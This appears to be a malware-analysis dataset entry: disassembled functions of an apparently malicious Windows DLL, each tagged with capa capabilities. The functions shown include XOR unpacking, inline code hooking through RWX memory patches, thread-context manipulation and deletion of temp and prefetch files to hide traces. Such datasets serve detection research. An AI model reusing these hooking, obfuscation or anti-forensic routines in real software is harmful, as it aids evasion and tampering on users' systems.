joyce8/EMBER2024-capa huggingface dataset:
Function at 0x431005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
mov eax, section..rsrc
nop
nop
mov ebx, 0x40915c
mov ecx, 0x3fe33f00
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
je 0x43104e
nop
nop
nop
xor dword [eax], ecx
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x431024
nop
mov eax, section..data
mov ebx, 0x42f3f8
nop
mov ecx, 0x10457074
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x431084
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x43106c
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x100017f0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x244
mov eax, dword [0x10027018]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x238], eax
xor eax, eax
push esi
mov dword [ebp - 0x240], eax
mov dword [ebp - 0x23c], eax
push edi
mov ecx, 0x3d6979e8
lea eax, [ebp - 0x218]
mov dword [ebp - 0x244], 0
call fcn.100174c0
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call esi
test eax, eax
sete al
test al, al
je 0x100018a3
push 0x104
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, 0x1002083c
sub edi, 0x7e80af00
lea esi, [ebp - 0x230]
call fcn.10017540
lea edx, [ebp - 0x108]
push edx
push eax
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.MSVCR100.dll_sprintf]
add esp, 0xc
lea ecx, [ebp - 0x20c]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x234], eax
jmp 0x100018d1
mov ecx, 0x3d6979e8
lea eax, [ebp - 0x218]
call fcn.100174c0
push eax
call esi
mov dword [ebp - 0x234], eax
xor eax, eax
mov dword [ebp - 0x218], eax
mov dword [ebp - 0x214], eax
mov word [ebp - 0x210], ax
cmp dword [ebp - 0x234], 0
jne 0x10001908
mov edx, dword [ebp - 0x244]
mov eax, dword [ebp - 0x240]
mov ecx, dword [ebp - 0x23c]
mov dword [ebx], edx
mov dword [ebx + 4], eax
pop edi
mov dword [ebx + 8], ecx
mov eax, ebx
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10019e35
mov esp, ebp
pop ebp
ret 4
mov edx, dword [ebp - 0x238]
push edx
call esi
mov edi, 0x4bdd9685
lea esi, [ebp - 0x230]
mov dword [ebp - 0x238], eax
call fcn.10017580
push eax
mov eax, dword [ebp - 0x234]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [ebp - 0x238]
push 0xc
lea ecx, [ebp - 0x244]
mov esi, eax
xor eax, eax
push ecx
push edx
mov dword [ebp - 0x230], eax
mov dword [ebp - 0x22c], eax
mov dword [ebp - 0x228], eax
mov dword [ebp - 0x224], eax
mov dword [ebp - 0x220], eax
mov byte [ebp - 0x21c], al
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
mov eax, dword [ebp - 0x244]
mov ecx, dword [ebp - 0x240]
mov edx, dword [ebp - 0x23c]
mov dword [ebx], eax
mov dword [ebx + 4], ecx
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
mov dword [ebx + 8], edx
mov eax, ebx
pop esi
call fcn.10019e35
mov esp, ebp
pop ebp
ret 4

Function at 0x100027a0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push edi
mov edi, dword [esi]
lea eax, [ebp - 4]
push eax
push 0x40
push 4
push esi
call ebx
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 8]
lea edx, [ebp - 8]
push edx
push eax
push 4
push esi
mov dword [esi], ecx
call ebx
push 4
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov eax, edi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x100027f0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x10024608
push 0x1001a479
mov eax, dword fs:[0]
push eax
sub esp, 0x10
push ebx
push esi
push edi
mov eax, dword [0x10027018]
xor dword [ebp - 8], eax
xor eax, ebp
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov ebx, ecx
mov edi, edx
mov dword [ebp - 4], 0
push 0xa
call dword [sym.imp.MSVCR100.dll_malloc]
add esp, 4
mov esi, eax
lea eax, [ebp - 0x20]
push eax
push 0x40
push 0xa
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea ecx, [ebp - 0x20]
push ecx
push 0x40
push 0xa
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [edi]
mov dword [esi], edx
mov al, byte [edi + 4]
mov byte [esi + 4], al
add esi, 5
mov byte [esi], 0xe9
mov ecx, edi
sub ecx, esi
mov dword [esi + 1], ecx
lea edx, [ebp - 0x1c]
push edx
push 0x40
push 5
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov byte [edi], 0xe9
sub ebx, edi
sub ebx, 5
mov dword [edi + 1], ebx
lea eax, [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 0x1c]
push ecx
push 5
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 5
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
lea eax, [esi - 5]
jmp 0x100028b9
mov dword [ebp - 4], 0xfffffffe
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x100028e0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
lea eax, [esi + 5]
push ebx
push eax
call dword [sym.imp.MSVCR100.dll_malloc]
add esp, 4
mov ebx, eax
lea eax, [ebp - 8]
push eax
push 0x40
lea eax, [esi + 5]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [ebp + 8]
lea ecx, [ebp - 8]
push ecx
push 0x40
lea eax, [esi + 5]
push eax
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push esi
push edi
push ebx
call sub.MSVCR100.dll_memcpy
add esp, 0xc
lea edx, [ebp - 4]
push edx
add ebx, esi
push 0x40
mov eax, edi
sub eax, ebx
push esi
lea ecx, [eax + esi - 5]
push edi
mov byte [ebx], 0xe9
mov dword [ebx + 1], ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
sub eax, edi
sub eax, 5
mov dword [edi + 1], eax
lea eax, [ebp - 4]
push eax
push ecx
push esi
push edi
mov byte [edi], 0xe9
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov eax, ebx
sub eax, esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10002980
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
push eax
push 0x40
push esi
push edi
call ebx
mov ecx, dword [ebp + 8]
push esi
push ecx
push edi
call dword [sym.imp.MSVCR100.dll_memmove]
mov eax, dword [ebp - 4]
add esp, 0xc
lea edx, [ebp - 8]
push edx
push eax
push esi
push edi
call ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x10002ac0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001c24e
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x10027018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
test byte [0x1015ad50], 1
jne 0x10002b5b
or dword [0x1015ad50], 1
mov edi, 0x102318d1
lea esi, [ebp - 0x30]
mov dword [ebp - 4], 0
call fcn.100178c0
mov esi, eax
mov ecx, 0x102318e5
lea eax, [ebp - 0x1c]
call fcn.10017840
push esi
mov ecx, eax
mov byte [ebp - 4], 2
call fcn.10019b60
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x1015ad4c], eax
xor eax, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov word [ebp - 0x14], ax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], eax
mov word [ebp - 0x20], ax
mov byte [ebp - 0x1e], al
mov dword [ebp - 4], 0xffffffff
push 0
push 0xffffffffffffffff
call dword [0x1015ad4c]
test eax, eax
jne 0x10002b70
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10019e35
mov esp, ebp
pop ebp
ret
Function at 0x1000a580
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001afa8
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x10027018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor edx, edx
mov ecx, 0x49
xor eax, eax
mov bl, byte [eax + 0x10021254]
xor bl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x30], bl
jns 0x1000a5cf
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x1c
jl 0x1000a5b2
mov byte [ebp - 0x14], dl
mov dword [ebp - 4], edx
mov ecx, dword [0x1015a3c0]
mov eax, dword [ecx]
mov eax, dword [eax + 0x28]
lea edx, [ebp - 0x30]
push edx
call eax
add eax, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
mov eax, dword [eax + ecx*4]
add eax, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10019e35
mov esp, ebp
pop ebp
ret 8

Function at 0x1000a800
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001af78
mov eax, dword fs:[0]
push eax
sub esp, 0x20
mov eax, dword [0x10027018]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor edx, edx
mov ecx, 0x1f
xor eax, eax
mov bl, byte [eax + str.Vfira_nuINF_OY]
xor bl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x2c], bl
jns 0x1000a84f
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x17
jl 0x1000a832
mov byte [ebp - 0x15], dl
mov dword [ebp - 4], edx
mov ecx, dword [0x1015a3c0]
mov eax, dword [ecx]
mov eax, dword [eax + 0x28]
lea edx, [ebp - 0x2c]
push edx
call eax
mov ecx, dword [ebp + 8]
mov eax, dword [eax + ecx + 0xc]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.10019e35
mov esp, ebp
pop ebp
ret 4

Function at 0x1000ac60
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001ae88
mov eax, dword fs:[0]
push eax
sub esp, 0x18
mov eax, dword [0x10027018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor edx, edx
mov ecx, 0x8d
xor eax, eax
mov bl, byte [eax + 0x100228b0]
xor bl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x24], bl
jns 0x1000acaf
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x13
jl 0x1000ac92
mov byte [ebp - 0x11], dl
mov dword [ebp - 4], edx
mov ecx, dword [0x1015a3c0]
mov eax, dword [ecx]
mov eax, dword [eax + 0x28]
lea edx, [ebp - 0x24]
push edx
call eax
fld dword [ebp + 8]
mov eax, dword [eax + esi + 0xc]
fstp dword [eax]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10019e35
mov esp, ebp
pop ebp
ret 4
Function at 0x1000ad00
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001ae58
mov eax, dword fs:[0]
push eax
sub esp, 0x18
mov eax, dword [0x10027018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ecx, 0x1c
xor eax, eax
nop
mov dl, byte [eax + 0x100228c4]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x24], dl
jns 0x1000ad4d
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x11
jl 0x1000ad30
mov byte [ebp - 0x13], 0
mov dword [ebp - 4], 0
mov ecx, dword [0x1015a3c0]
mov eax, dword [ecx]
mov eax, dword [eax + 0x28]
lea edx, [ebp - 0x24]
push edx
call eax
mov ecx, dword [ebp + 8]
mov eax, dword [eax + ecx + 0xc]
xor ecx, ecx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x18], ecx
mov word [ebp - 0x14], cx
fld dword [eax]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10019e35
mov esp, ebp
pop ebp
ret 4

Function at 0x1000aec0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001c040
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x10027018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov ecx, 0xa3
xor eax, eax
mov dl, byte [eax + 0x100228f4]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x30], dl
jns 0x1000af11
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x1d
jl 0x1000aef4
mov byte [ebp - 0x13], 0
mov dword [ebp - 4], 0
mov ecx, dword [0x1015a3c0]
mov eax, dword [ecx]
mov eax, dword [eax + 0x28]
lea edx, [ebp - 0x30]
push edx
call eax
test eax, eax
setne al
mov dword [ebp - 4], 0xffffffff
test al, al
je 0x1000af7d
mov edi, 0x10194228
lea esi, [ebp - 0x30]
call fcn.100181b0
mov dword [ebp - 4], 1
mov ecx, dword [0x1015a3c0]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 0x28]
call eax
push 0
lea esi, [ebx + eax]
call fcn.10009f30
mov edi, eax
mov eax, esi
mov ebx, 0x44
call fcn.10009eb0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10019e35
mov esp, ebp
pop ebp
ret
Function at 0x1000afa0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001adf8
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x10027018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ecx, 0xeb
xor eax, eax
nop
mov dl, byte [eax + 0x10022008]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x30], dl
jns 0x1000afed
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x1c
jl 0x1000afd0
mov byte [ebp - 0x14], 0
mov dword [ebp - 4], 0
mov ecx, dword [0x1015a3c0]
mov eax, dword [ecx]
mov eax, dword [eax + 0x28]
lea edx, [ebp - 0x30]
push edx
call eax
add eax, dword [0x1015a3bc]
xor ecx, ecx
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x18], ecx
mov byte [ebp - 0x14], cl
push edi
mov ecx, esi
call eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10019e35
mov esp, ebp
pop ebp
ret

Function at 0x1000b180
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001c008
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x10027018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor edx, edx
mov ecx, 0x31
xor eax, eax
mov bl, byte [eax + 0x10022944]
xor bl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x30], bl
jns 0x1000b1d0
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x1d
jl 0x1000b1b3
mov byte [ebp - 0x13], dl
mov dword [ebp - 4], edx
mov ecx, dword [0x1015a3c0]
mov eax, dword [ecx]
mov eax, dword [eax + 0x28]
lea edx, [ebp - 0x30]
push edx
call eax
push 2
lea ebx, [esi + eax]
call fcn.10009f30
mov edi, eax
mov eax, ebx
mov ebx, 0xe
call fcn.10009eb0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10019e35
mov esp, ebp
pop ebp
ret
Function at 0x1000b220
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001ad68
mov eax, dword fs:[0]
push eax
sub esp, 0x20
mov eax, dword [0x10027018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ecx, 0x31
xor eax, eax
nop
mov dl, byte [eax + 0x10022964]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x2c], dl
jns 0x1000b26d
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x1b
jl 0x1000b250
mov byte [ebp - 0x11], 0
mov dword [ebp - 4], 0
mov ecx, dword [0x1015a3c0]
mov eax, dword [ecx]
mov eax, dword [eax + 0x28]
lea edx, [ebp - 0x2c]
push edx
call eax
mov ecx, dword [ebp + 8]
mov eax, dword [eax + ecx + 0xc]
xor ecx, ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], ecx
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10019e35
mov esp, ebp
pop ebp
ret 4
Function at 0x1000ee10
Capabilities:
Resume thread
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2d4
mov eax, dword [0x10027018]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
test esi, esi
je 0x1000efc0
mov eax, 0x10014410
test eax, eax
je 0x1000efc0
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push edi
push str.NtSetContextThread
push str.ntdll.dll
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x10157990], 0x10014410
mov ecx, dword [esi]
mov dword [0x10157980], ecx
mov edx, dword [esi + 4]
mov dword [0x10157984], edx
mov dword [ebp - 0x2d4], eax
mov eax, dword [esi + 8]
mov dword [0x10157988], eax
mov ecx, dword [esi + 0xc]
mov dword [0x1015798c], ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edi, eax
call fcn.1000efe0
push eax
push 1
push 0x1a
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov edi, eax
cmp edi, 0xffffffff
je 0x1000eed5
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call dword [sym.imp.MSVCR100.dll_srand]
add esp, 4
push 0x1000eda0
call dword [sym.imp.MSVCR100.dll_rand]
cdq
mov ecx, 0xffffff
idiv ecx
push edx
call dword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
test eax, eax
jne 0x1000eee8
pop edi
pop ebx
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10019e35
mov esp, ebp
pop ebp
ret
push edi
mov dword [0x10157994], eax
mov dword [ebp - 0x2d0], 0x10010
call dword [sym.imp.KERNEL32.dll_SuspendThread]
push str.NtGetContextThread
push str.ntdll.dll
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea edx, [ebp - 0x2d0]
push edx
push edi
call eax
mov eax, dword [esi]
test eax, eax
setne cl
test cl, cl
je 0x1000ef33
mov edx, 1
mov dword [ebp - 0x2cc], eax
jmp 0x1000ef39
mov edx, dword [ebp - 0x2d4]
lea eax, [esi + 4]
test eax, eax
je 0x1000ef54
mov eax, dword [eax]
test eax, eax
setne cl
test cl, cl
je 0x1000ef54
or edx, 4
mov dword [ebp - 0x2c8], eax
lea eax, [esi + 8]
test eax, eax
je 0x1000ef6f
mov eax, dword [eax]
test eax, eax
setne cl
test cl, cl
je 0x1000ef6f
or edx, 0x10
mov dword [ebp - 0x2c4], eax
add esi, 0xc
je 0x1000ef88
mov eax, dword [esi]
test eax, eax
setne cl
test cl, cl
je 0x1000ef88
or edx, 0x40
mov dword [ebp - 0x2c0], eax
lea eax, [ebp - 0x2d0]
push eax
push edi
mov dword [ebp - 0x2bc], 0
mov dword [ebp - 0x2b8], edx
call dword [ebp - 0x2d4]
push edi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
pop edi
pop ebx
mov al, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10019e35
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor ecx, ebp
xor al, al
pop esi
call fcn.10019e35
mov esp, ebp
pop ebp
ret
Function at 0x1000efe0
Capabilities:
Enumerate threads

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x10027018]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 4
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
jne 0x1000f012
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10019e35
mov esp, ebp
pop ebp
ret
push ebx
lea eax, [ebp - 0x20]
push eax
push esi
mov dword [ebp - 0x20], 0x1c
call dword [sym.imp.KERNEL32.dll_Thread32First]
test eax, eax
je 0x1000f040
mov ebx, dword [sym.imp.KERNEL32.dll_Thread32Next]
nop
cmp dword [ebp - 0x14], edi
je 0x1000f059
lea ecx, [ebp - 0x20]
push ecx
push esi
call ebx
test eax, eax
jne 0x1000f030
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebx
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10019e35
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x18]
pop ebx
xor ecx, ebp
pop esi
call fcn.10019e35
mov esp, ebp
pop ebp
ret
Function at 0x100152f0
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x250
mov eax, dword [0x10027018]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.MSVCR100.dll_sprintf]
push edi
push esi
lea eax, [ebp - 0x110]
push eax
lea ecx, [ebp - 0x108]
push ecx
mov dword [ebp - 0x110], 0x2a5c7325
mov word [ebp - 0x10c], 0x2a2e
mov byte [ebp - 0x10a], 0
call ebx
add esp, 0xc
lea edx, [ebp - 0x250]
push edx
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
nop
lea ecx, [ebp - 0x224]
push ecx
push esi
lea edx, [ebp - 0x110]
push edx
lea eax, [ebp - 0x108]
push eax
mov dword [ebp - 0x110], 0x255c7325
mov word [ebp - 0x10c], 0x73
call ebx
add esp, 0x10
xor eax, eax
lea ecx, [ebp - 0x108]
push ecx
mov dword [ebp - 0x110], eax
mov word [ebp - 0x10c], ax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea edx, [ebp - 0x250]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x10015350
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.10019e35
mov esp, ebp
pop ebp
ret

Function at 0x100153d0
Capabilities:
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc
mov eax, dword [0x10027018]
xor eax, esp
mov dword [esp + 8], eax
mov eax, dword [ebp + 8]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov eax, dword [ebp + 0xc]
dec eax
jne 0x10015453
push 0x10159e48
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov esi, 0x10159e48
call fcn.100152f0
mov esi, str.C:Windowsprefetch
call fcn.100152f0
lea eax, [esp + 4]
push eax
mov dword [esp + 8], 0x742e4d47
mov word [esp + 0xc], 0x7478
mov byte [esp + 0xe], 0
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor eax, eax
mov dword [esp + 4], eax
mov word [esp + 8], ax
mov byte [esp + 0xa], al
call fcn.10019cf0
mov ecx, eax
call fcn.10019c20
mov ecx, dword [esp + 0xc]
pop esi
xor ecx, esp
mov eax, 1
call fcn.10019e35
mov esp, ebp
pop ebp
ret 0xc